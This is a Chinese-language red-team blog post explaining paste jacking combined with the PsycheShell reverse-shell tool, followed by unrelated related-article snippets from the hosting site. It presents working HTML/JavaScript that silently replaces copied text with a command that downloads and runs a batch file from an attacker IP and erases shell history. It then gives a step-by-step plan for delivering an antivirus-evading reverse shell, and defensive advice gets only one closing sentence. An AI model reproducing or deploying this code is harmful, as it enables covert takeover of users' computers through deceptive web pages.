【红队】利用 PsycheShell 进行 Paste Jacking 以获取隐秘的反向 Shell

news/2025/1/18 7:41:45/文章来源:https://www.cnblogs.com/o-O-oO/p/18516494

原创 Ots安全

介绍

在网络安全领域,粘贴劫持 (Paste Jacking)等技术代表着社会工程攻击日益复杂的趋势。当用户从网页上复制看似无害的内容,但粘贴的内容却遭到恶意篡改时,就会发生粘贴劫持。攻击者可以使用此技术在目标机器上执行命令,尤其是当用户粘贴到终端等敏感环境中时。在本文中,我们将深入探讨粘贴劫持的工作原理,分析其背后的代码,并讨论防范方法。

什么是 Paste Jacking?

粘贴劫持是指操纵用户从网页复制的内容,使其在粘贴时执行意外操作。通常,用户看到的是无害的文本或代码,但后台运行的 JavaScript 会将复制的内容替换为恶意负载。此负载可能包含任何内容,从下载和执行脚本到创建与攻击者计算机的反向 shell 连接。

例如,用户可能会sudo apt update在网页上看到类似命令,并决定将其复制并粘贴到终端中。然而,他们实际粘贴的内容可能是下载并运行攻击者控制的恶意脚本的命令。

粘贴劫持代码示例

让我们看一个真实的粘贴劫持示例,并分析使其发挥作用的代码。以下 HTML 和 JavaScript 代码演示了如何用恶意内容替换复制的文本。

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Paste Jacking Example</title><script type="text/javascript">// Replace the copied content with malicious command when the user copiesdocument.addEventListener('copy', function(e) {// Text that appears to the uservar originalText = document.getElementById('copytext').textContent;// Malicious payload that will be copied to the clipboardvar maliciousCommand = "curl -O http://192.168.1.50/malicious.bat && malicious.bat && history -d $(history 1) || cls";
// Set the copied text to the malicious commande.clipboardData.setData('text/plain', maliciousCommand);e.preventDefault(); // Prevent default copy action});</script>
</head>
<body><h1>Copy the following command:</h1><p id="copytext">sudo apt update</p>
</body>
</html>

代码解析:

原始文本与恶意文本:在此示例中,用户看到类似这样的命令sudo apt update,该命令看起来完全安全。但是,当用户选择并复制文本时,JavaScript 事件监听器会拦截该操作,并将复制的内容替换为恶意命令。

var malwareCommand = “curl -O http://192.168.1.50/malicious.bat && malware.bat && history -d $( history 1) || cls”;

此命令执行以下操作:

curl -O http://192.168.1.50/malicious.bat:.bat从攻击者的服务器下载恶意文件。
malicious.bat:执行下载的.bat文件。
history -d $(history 1):从终端历史记录中删除最后一个命令(在 Linux/MacOS 环境中)以隐藏痕迹。
cls:清除 Windows 上的终端屏幕。

JavaScript 事件监听器:document.addEventListener('copy')用于检测网页上何时执行复制操作。一旦用户尝试复制内容,此监听器就会执行提供的函数,用恶意命令替换复制的内容

e .clipboardData .setData ('text/plain',maliciousCommand);
e .preventDefault (); // 停止原始复制操作

该行e.preventDefault()阻止浏览器执行默认的复制操作,确保粘贴恶意内容而不是原始内容。

利用 PsycheShell 进行反向 Shell 攻击

PsycheShell是一款多功能工具,用于生成可以绕过防病毒软件和防火墙等常见安全机制的反向 shell。它提供混淆、加密 (SSL) 和持久性选项,使其成为 Paste Jacking 攻击的理想选择。

通过将 Paste Jacking 与PsycheShell生成的反向 shell 相结合,攻击者可以诱骗用户将恶意命令粘贴到他们的终端中,在不知不觉中执行这些命令并建立反向 shell 连接。

攻击如何运作的示例

步骤 1:攻击者创建一个网页,显示类似这样的良性命令sudo apt update。

第 2 步:攻击者包含 Paste Jacking JavaScript,以用PsycheShell反向 shell 负载替换复制的命令。

步骤3:用户复制显示的命令并将其粘贴到他们的终端中。

步骤 4:不是执行预期的命令,而是执行PsycheShell反向 shell,并与攻击者建立连接。

有关PsycheShell的更多信息,请访问PsycheShell GitHub Repo。

https://github.com/hello4r1end/psycheshell

结论

Paste Jacking 与 PsycheShell 相结合,为攻击者提供了一种绕过安全机制并获得未经授权的系统访问的高效方法。虽然对于红队和道德黑客来说非常有效,但对于组织来说,教育用户和实施保护措施至关重要,例如在不受信任的网站上禁用 JavaScript 并在将命令粘贴到敏感环境之前检查剪贴板内容。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/824314.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数据采集与融合技术实践课第三次作业

数据采集与融合技术实践课第三次作业这个作业属于哪个课程 https://edu.cnblogs.com/campus/fzu/2024DataCollectionandFusiontechnology码云作业gitee仓库 https://gitee.com/huang-yuejia/DataMining_project/tree/master/work3学号 102202149姓名 黄悦佳目录数据采集与融合技…

猿人学web端爬虫攻防大赛赛题第17题——天杀的http2.0

题目网址: https://match.yuanrenxue.cn/match/17 解题步骤:老方法,看触发的数据包。只有一个数据包,再看cookie中有没有特殊的字段。没有遇到第13题的特殊字段,直接访问。import requestsurl = "https://match.yuanrenxue.cn/api/match/17?page=1" headers = …

你知道多少种API架构风格

以下是最常用的几种风格:👇🌟 『SOAP』:成熟、全面的XML基础风格,最适合企业应用。🌐 『RESTful』:流行、易于实现的HTTP方法风格,理想用于Web服务。📚 『GraphQL』:查询语言风格,请求特定数据,减少网络开销,响应更快。🚀 『gRPC』:现代、高性能的Protocol…

【java应用】 Jmeter玩法:调用jar包实现AES加密

原创 方知本知 从零做软件测试一、将开发提供的AES java类打成jar包 1.1 打开开发提供的java类 用Eclipse开发工具打开,观察包名。新建项目,在生成的src目录下新建包,名字为java类对应的包名,将java类拖到该包下面。1.2 将该java类导出成jar包格式二、Jmeter调用jar包实现A…

chrony服务

APPSRV、ROUTERSRV、STORAGESRV、ISPSRV 完成服务chrony 配置为全网提供时间同步服务器。 为除本机外的所有主机提供时间同步服务。 每隔5分钟同步一次时间。配置Chrony服务APPSRV作为chrony服务的服务段 其他主机作为客户端 APPSRV 配置服务 vim /etc/chrony.confserver 127.0…

RouterSrv路由服务

RouterSrv 完成服务ROUTING 开启路由转发,为当前实验环境提供路由功能。 根据题目要求,配置单臂路由实现内部客户端和服务器之间的通信。 IPTABLES 添加必要的网络地址转换规则,使外部客户端能够访问到内部服务器上的dns、mail、web和ftp服务。 INPUT、OUTPUT和FOREARD链默认…

15 图灵

可判定行问题:计算机的计算能力是有极限的

发布测试

发布测试`package com.atguitu.test; import com.atguigu.mybatis.mapper.UserMapper; import org.apache.ibatis.io.Resources; import org.apache.ibatis.session.SqlSession; import org.apache.ibatis.session.SqlSessionFactory; import org.apache.ibatis.session.SqlSes…

20242822《Linux内核原理与分析》第六周作业

实验五——分析 system_call 中断处理过程 在上一次实验中我选择的4号系统调用write 一、打开shell并使用命令启动内核进入menu程序 cd ~/LinuxKernel/ qemu -kernel linux-3.18.6/arch/x86/boot/bzImage -initrd rootfs.img 进入menu程序后,可以看到该系统中仅有3个命令:hel…

《诛仙单机版系列一:六道轮回》安装教程|虚拟机一键端|GM工具包

今天给大家带来一款单机游戏的架设:诛仙-六道轮回-五职业。游戏版本:v1.2.4 只适用于单机娱乐,此教程是本人亲测所写,踩坑无数,如果你是小白跟着教程走也是可以搭建成功。 亲测视频演示 https://githubs.xyz/show/289.mp4游戏安装步骤 此游戏架设需要安装虚拟机,没有虚拟…

根据swagger.yaml生成harbor私库api调用代码

准备 下载https://github.com/goharbor/harbor/blob/main/api/v2.0/swagger.yaml 下载https://repo1.maven.org/maven2/io/swagger/swagger-codegen-cli/2.4.43/swagger-codegen-cli-2.4.43.jar生成调用代码 swagger-codegen-cli是用java写的, 但是支持生成多种语言的调用代码,…

网鼎杯

个人只做了一道web一道crypto Web02 打开赛题环境地址,是登录界面,进去后获取hash值用户名或密码随意我们访问到的flag界面 ** **进去后这里有个输入框测试下可以进行xss又根据/flag提示需要boss来访问这个路径,编写脚本构造payload进行访问,字符串编码下 import requests …